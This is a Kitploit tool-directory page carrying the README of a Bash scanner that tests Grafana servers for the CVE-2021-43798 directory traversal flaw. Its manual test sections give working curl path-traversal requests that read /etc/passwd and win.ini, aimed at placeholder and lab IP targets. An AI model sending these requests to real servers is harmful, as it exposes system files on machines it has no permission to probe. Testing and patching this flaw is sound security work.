Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Grafana-Plugin-Enumerator-CVE-2021-43798 — Bash-based scanner that enumerates Grafana plugin IDs and tests for CVE-2021-43798 directory traversal by attempting to read /etc/passwd or win.ini on vulnerable instances. | Kitploit
Tools/GitHubGitHub/squ1shification/grafana-plugin-enumerator-cve-2021-43798
Vulnerability ScannersWeb Vulnerability ScannersExploitationScripting & AutomationWeb Application ExploitationInformation GatheringPenetration Testing
GitHub
squ1shification/grafana-plugin-enumerator-cve-2021-43798

Grafana-Plugin-Enumerator-CVE-2021-43798

Bash-based scanner that enumerates Grafana plugin IDs and tests for CVE-2021-43798 directory traversal by attempting to read /etc/passwd or win.ini on vulnerable instances.

View Repository
452 months agoNot yet reviewed
Share

Grafana CVE-2021-43798 Plugin Enumerator

A small Bash-based tool for testing Grafana instances for CVE-2021-43798, a directory traversal vulnerability affecting vulnerable Grafana versions.

The tool enumerates Grafana plugin IDs and uses curl --path-as-is to test whether directory traversal can access a known file.

For authorized security testing and lab environments only.

Files

.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
  • grafana-windows.sh: Tests for access to C:\Windows\win.ini
  • grafana-linux.sh: Tests for access to /etc/passwd
  • plugins.txt: A wordlist containing Grafana plugin IDs used during enumeration.

Requirements

  • Bash
  • curl
  • A Grafana target
  • Permission to test the target

Check that curl is installed:

curl --version

Make the scripts executable:

chmod +x grafana-windows.sh
chmod +x grafana-linux.sh

CVE-2021-43798 Overview

CVE-2021-43798 is a directory traversal vulnerability in Grafana.

The vulnerable endpoint is based around: /public/plugins/<plugin-id>/

The vulnerability can allow traversal outside of the intended plugin directory.

The important part when testing with curl is: --path-as-is

Without this option, the client may normalize the path before sending it to the server.

Windows Scanner

The Windows scanner attempts to retrieve: C:\Windows\win.ini

The path is represented in the HTTP request as: Windows/win.ini

Basic Usage

./grafana-windows.sh \
    -u http://192.168.68.193:3000 \
    -w plugins.txt

Example:

./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt

Windows Manual Test

You can manually test a plugin with:

curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"

For the lab target:

curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"

A successful response should contain Windows INI file contents.

Linux Scanner

The Linux scanner attempts to retrieve: /etc/passwd

Basic Usage

./grafana-linux.sh \
    -u http://192.168.68.193:3000 \
    -w plugins.txt

Generic example:

./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt

Linux Manual Test

curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

For the lab target:

curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

A successful Linux response should contain entries similar to:

root:x:0:0:root:/root:/bin/bash

Command-Line Options

Both scanners use the same basic arguments:

  • u, --url : Grafana base URL
  • w, --wordlist : Plugin wordlist
  • f, --file : File to test
  • h, --help : Show help
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools →